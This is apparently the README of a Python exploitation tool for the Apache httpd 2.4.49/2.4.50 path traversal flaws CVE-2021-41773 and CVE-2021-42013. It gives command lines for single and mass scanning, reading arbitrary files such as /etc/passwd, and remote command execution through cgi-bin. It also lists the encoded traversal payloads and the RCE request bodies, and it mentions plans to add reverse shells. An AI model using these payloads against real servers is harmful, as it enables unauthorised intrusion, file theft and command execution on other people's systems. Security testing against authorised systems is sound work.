20211005,网上曝出apache httpd 2.4.49的目录穿越漏洞(cve-2021-41773),可造成任意文件读取(穿越的目录允许被访问,如配置了<Directory />Require all granted</Directory>
, 默认不允许)或命令执行(rce需开启cgi,默认不包含cgi模块)
20211008,又出了2.4.50的目录穿越(cve-2021-42013),是绕过了cve-2021-41773的修复。
漏洞详情参考:apache httpd 2.4.49/2.4.50 目录穿越漏洞重现及分析
python3运行
使用帮助:python3 apache-httpd-path-traversal.py -h
单url检测:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"
批量检测:python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3
文件读取:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile
命令执行:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce
使用urllib.request发http数据包
检测漏洞存在的依据是读取/etc/passwd判断返回数据是否含有”root:”字符串(因为大部分都是linux,所以暂时忽略检测windows)
多线程,可选择超时时间,以提高效率。
可选存在的目录(--cdir),rce的shell(--rceshell),以提供灵活性。
检测时采用可能的公共目录列表,提高命中率。 commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
注意:有时候文件读取是利用icons目录,而rce要用cgi-bin目录,具体情况具体分析。
采用7种poc和2种rce的post data格式:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
//rce的post方法改为get方法好像也行。
//payload要根据目标的apache路径层数变化跳出,一般4层够了。
//要有一个apache存在的目录,比如icons/或cgi-bin/
1.可能会增加对windows系统的检测。
2.可能会增加反弹shell等进一步利用。
gmail:lsasguge196@gmail.com